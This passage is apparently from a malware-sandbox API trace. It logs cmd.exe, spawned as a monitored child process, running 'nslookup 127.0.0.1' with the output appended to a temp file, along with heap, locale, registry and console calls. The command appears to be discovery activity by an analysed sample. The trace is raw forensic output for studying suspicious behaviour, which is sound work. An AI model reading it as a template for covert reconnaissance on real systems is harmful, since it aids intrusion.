GetProcessHeap () returned 0x4b0000 [0140.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x98) returned 0x4cc740 [0140.187] GetProcessHeap () returned 0x4b0000 [0140.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4010) returned 0x4d1ca0 [0140.187] GetProcessHeap () returned 0x4b0000 [0140.187] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4010) returned 0x4d5cc0 [0140.188] GetProcessHeap () returned 0x4b0000 [0140.188] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cdc80 | out: hHeap=0x4b0000) returned 1 [0140.188] GetConsoleOutputCP () returned 0x1b5 [0140.188] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e2bfe0 | out: lpCPInfo=0x49e2bfe0) returned 1 [0140.188] GetUserDefaultLCID () returned 0x409 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e27b50, cchData=8 | out: lpLCData=":") returned 2 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x31fa20, cchData=128 | out: lpLCData="0") returned 2 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x31fa20, cchData=128 | out: lpLCData="0") returned 2 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x31fa20, cchData=128 | out: lpLCData="1") returned 2 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e3a740, cchData=8 | out: lpLCData="/") returned 2 [0140.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e3a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e3a460, cchData=32 | out: lpLCData="Tue") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e3a420, cchData=32 | out: lpLCData="Wed") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e3a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e3a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e3a360, cchData=32 | out: lpLCData="Sat") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e3a700, cchData=32 | out: lpLCData="Sun") returned 4 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e27b40, cchData=8 | out: lpLCData=".") returned 2 [0140.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e3a4e0, cchData=8 | out: lpLCData=",") returned 2 [0140.189] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0140.190] GetProcessHeap () returned 0x4b0000 [0140.190] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20c) returned 0x4cc7e0 [0140.190] GetConsoleTitleW (in: lpConsoleTitle=0x4cc7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.190] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0140.190] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0140.190] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0140.190] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0140.190] GetProcessHeap () returned 0x4b0000 [0140.190] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4012) returned 0x4cdc80 [0140.190] GetProcessHeap () returned 0x4b0000 [0140.190] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cdc80 | out: hHeap=0x4b0000) returned 1 [0140.191] _wcsicmp (_String1="echo", _String2=")") returned 60 [0140.191] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0140.191] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0140.191] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0140.191] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0140.191] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0140.191] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0140.192] GetProcessHeap () returned 0x4b0000 [0140.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb0) returned 0x4cca00 [0140.192] GetProcessHeap () returned 0x4b0000 [0140.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1a) returned 0x4c45f0 [0140.193] GetProcessHeap () returned 0x4b0000 [0140.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x26) returned 0x4c4620 [0140.193] GetProcessHeap () returned 0x4b0000 [0140.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x38) returned 0x4c64f0 [0140.195] GetProcessHeap () returned 0x4b0000 [0140.195] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x6e) returned 0x4ccac0 [0140.196] GetProcessHeap () returned 0x4b0000 [0140.196] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x28) returned 0x4c4650 [0140.196] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.196] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.196] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.196] GetFileType (hFile=0x7) returned 0x2 [0140.196] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0140.196] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f8f8 | out: lpMode=0x31f8f8) returned 1 [0140.197] _dup (_FileHandle=1) returned 3 [0140.197] _close (_FileHandle=1) returned 0 [0140.197] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0140.197] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x31f8a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0140.197] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0140.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0140.198] GetFileType (hFile=0x50) returned 0x1 [0140.198] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8a9 [0140.198] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x31f908*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x31f908*=0) returned 0x8a8 [0140.198] ReadFile (in: hFile=0x50, lpBuffer=0x31f8f8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f8a0, lpOverlapped=0x0 | out: lpBuffer=0x31f8f8*, lpNumberOfBytesRead=0x31f8a0*=0x1, lpOverlapped=0x0) returned 1 [0140.198] GetConsoleTitleW (in: lpConsoleTitle=0x31f930, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.198] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0140.198] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0140.198] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0140.198] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0140.198] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0140.198] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0140.198] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0140.198] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0140.198] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0140.198] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0140.198] GetProcessHeap () returned 0x4b0000 [0140.198] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x3c) returned 0x4c8570 [0140.199] GetProcessHeap () returned 0x4b0000 [0140.199] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c8570, Size=0x24) returned 0x4c4680 [0140.199] GetProcessHeap () returned 0x4b0000 [0140.199] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c4680) returned 0x24 [0140.199] GetProcessHeap () returned 0x4b0000 [0140.199] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x30) returned 0x4c65b0 [0140.199] _vsnwprintf (in: _Buffer=0x49e36340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x31f6c8 | out: _Buffer="-------- \r\n") returned 11 [0140.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0140.199] GetFileType (hFile=0x50) returned 0x1 [0140.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0140.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x49e2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0140.199] WriteFile (in: hFile=0x50, lpBuffer=0x49e2c320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x49e2c320*, lpNumberOfBytesWritten=0x31f698*=0xb, lpOverlapped=0x0) returned 1 [0140.200] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0140.201] _close (_FileHandle=3) returned 0 [0140.201] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.201] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0140.202] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.202] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e1e194 | out: lpMode=0x49e1e194) returned 1 [0140.202] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.202] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e1e198 | out: lpMode=0x49e1e198) returned 1 [0140.202] SetConsoleInputExeNameW () returned 0x1 [0140.202] GetConsoleOutputCP () returned 0x1b5 [0140.202] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e2bfe0 | out: lpCPInfo=0x49e2bfe0) returned 1 [0140.202] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.202] exit (_Code=0) Process: id = "28" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x35952000" os_pid = "0x610" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 321 os_tid = 0xa18 [0140.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f990 | out: lpSystemTimeAsFileTime=0x18f990*(dwLowDateTime=0xfb905590, dwHighDateTime=0x1d51ed4)) [0140.316] GetCurrentProcessId () returned 0x610 [0140.316] GetCurrentThreadId () returned 0xa18 [0140.316] GetTickCount () returned 0x2f5d2 [0140.316] QueryPerformanceCounter (in: lpPerformanceCount=0x18f998 | out: lpPerformanceCount=0x18f998*=26484132184) returned 1 [0140.318] GetModuleHandleW (lpModuleName=0x0) returned 0x4aae0000 [0140.318] __set_app_type (_Type=0x1) [0140.318] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab07810) returned 0x0 [0140.318] __getmainargs (in: _Argc=0x4ab2a608, _Argv=0x4ab2a618, _Env=0x4ab2a610, _DoWildCard=0, _StartInfo=0x4ab0e0f4 | out: _Argc=0x4ab2a608, _Argv=0x4ab2a618, _Env=0x4ab2a610) returned 0 [0140.319] GetCurrentThreadId () returned 0xa18 [0140.319] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa18) returned 0x3c [0140.319] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0140.319] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0140.319] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.319] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0140.319] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f928 | out: phkResult=0x18f928*=0x0) returned 0x2 [0140.319] VirtualQuery (in: lpAddress=0x18f910, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.319] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.320] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.320] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0140.320] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0140.320] GetConsoleOutputCP () returned 0x1b5 [0140.320] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab1bfe0 | out: lpCPInfo=0x4ab1bfe0) returned 1 [0140.320] SetConsoleCtrlHandler (HandlerRoutine=0x4ab03184, Add=1) returned 1 [0140.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.320] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0140.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.320] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab0e194 | out: lpMode=0x4ab0e194) returned 1 [0140.321] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.321] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0140.321] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.321] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab0e198 | out: lpMode=0x4ab0e198) returned 1 [0140.321] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.321] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0140.321] GetEnvironmentStringsW () returned 0x2f8b10* [0140.321] GetProcessHeap () returned 0x2e0000 [0140.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa78) returned 0x2f9590 [0140.321] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.321] GetProcessHeap () returned 0x2e0000 [0140.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x8) returned 0x2f8390 [0140.322] GetEnvironmentStringsW () returned 0x2f8b10* [0140.322] GetProcessHeap () returned 0x2e0000 [0140.322] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa78) returned 0x2fa010 [0140.322] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.322] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e7e8 | out: phkResult=0x18e7e8*=0x44) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x18, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x0, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegCloseKey (hKey=0x44) returned 0x0 [0140.322] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e7e8 | out: phkResult=0x18e7e8*=0x44) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x0, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x4) returned 0x0 [0140.322] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0140.322] RegCloseKey (hKey=0x44) returned 0x0 [0140.322] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2091 [0140.323] srand (_Seed=0x5cfd2091) [0140.323] GetCommandLineW () returned="cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0140.323] GetCommandLineW () returned="cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0140.323] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab1c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.323] GetProcessHeap () returned 0x2e0000 [0140.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2faa90 [0140.323] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2faaa0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0140.323] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0140.323] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0140.323] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0140.323] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0140.323] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0140.323] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0140.323] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0140.323] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0140.323] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0140.323] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0140.323] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0140.323] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0140.324] GetProcessHeap () returned 0x2e0000 [0140.324] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9590 | out: hHeap=0x2e0000) returned 1 [0140.324] GetEnvironmentStringsW () returned 0x2f8b10* [0140.324] GetProcessHeap () returned 0x2e0000 [0140.324] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa90) returned 0x2fb750 [0140.324] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.324] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.324] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0140.324] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0140.324] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0140.324] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0140.324] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0140.324] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0140.324] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0140.324] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0140.324] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0140.324] GetProcessHeap () returned 0x2e0000 [0140.324] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x38) returned 0x2f6500 [0140.324] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f5f0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x18f5f0, lpFilePart=0x18f5d0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x18f5d0*="system32") returned 0x13 [0140.324] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0140.324] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x18f300 | out: lpFindFileData=0x18f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xde0000de, cFileName="Windows", cAlternateFileName="")) returned 0x2f8970 [0140.325] FindClose (in: hFindFile=0x2f8970 | out: hFindFile=0x2f8970) returned 1 [0140.325] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x18f300 | out: lpFindFileData=0x18f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xde0000de, cFileName="System32", cAlternateFileName="")) returned 0x2f8970 [0140.325] FindClose (in: hFindFile=0x2f8970 | out: hFindFile=0x2f8970) returned 1 [0140.325] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0140.325] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0140.325] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0140.325] GetProcessHeap () returned 0x2e0000 [0140.325] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb750 | out: hHeap=0x2e0000) returned 1 [0140.325] GetEnvironmentStringsW () returned 0x2f8b10* [0140.325] GetProcessHeap () returned 0x2e0000 [0140.325] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xac0) returned 0x2facb0 [0140.325] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.325] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab1c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.325] GetProcessHeap () returned 0x2e0000 [0140.325] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f6500 | out: hHeap=0x2e0000) returned 1 [0140.325] GetProcessHeap () returned 0x2e0000 [0140.325] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4016) returned 0x2fccc0 [0140.326] GetProcessHeap () returned 0x2e0000 [0140.326] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa2) returned 0x2fb780 [0140.326] GetProcessHeap () returned 0x2e0000 [0140.326] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4010) returned 0x300ce0 [0140.326] GetProcessHeap () returned 0x2e0000 [0140.326] RtlAllocateHeap 